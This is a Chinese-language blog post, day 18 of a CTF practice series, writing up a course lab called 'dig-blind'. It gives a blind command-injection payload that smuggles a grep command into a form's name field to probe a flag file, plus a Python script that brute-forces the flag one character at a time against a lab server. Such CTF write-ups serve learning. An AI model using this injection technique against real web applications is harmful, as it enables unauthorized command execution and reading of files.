iT邦幫忙

2024 iThome 鐵人賽

DAY 18
0
佛心分享-刷題不只是刷題

一直刷 CTF系列 第 18

一直刷 CTF - Day18

  • 分享至 

  • xImage
  •  

上課紀錄

Lab - dig-blind

他只會回傳 successfail,先試試看 '; grep -q "NCKUCTF{d19_" /fl* && exit 0 || exit 1' ,好欸,他回傳 success !!!!

但每一位都用人工猜有點太慢,可以寫個程式根據他回傳的 0 1 訊號反推 flag ,最笨的方法就是直接一個個慢慢枚舉,這樣複雜度會是 O(NK) , N 是字串長度,K 是枚舉的字元集數量,根據之前的觀察字元集應該是 0123456789abcdefghijklmnopqrstuvwxyz_!{} ,雖然我想到比較好的方法是把每個字轉 ASCII ,再用二進位表示,這樣就只會最多 7 次就知道那一個字是啥了,能壓到 O(N),但這樣寫有點累,而且字元集也不算太多,要是真的不行就再拿多執行緒來用也可以變成 O(N)

我的 python 程式碼:

import requests

url = "http://140.116.246.59:28116/"
prefix = "NCKUCTF{d19_"  
charset = "0123456789abcdefghijklmnopqrstuvwxyz_!}"  
flag = prefix

while not flag.endswith("}"):
    for char in charset:
        payload = f"'; grep -q \"{flag + char}\" /fl* && exit 0 || exit 1'"
        data = {'name': payload}
        
        response = requests.post(url, data=data)
        
        if response.text.count("success") == 2:
            flag += char
            print(f"Found: {flag}")
            break

print(f"Final Flag: {flag}")

Image

參考資料


上一篇
一直刷 CTF - Day17
下一篇
一直刷 CTF - Day19
系列文
一直刷 CTF30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言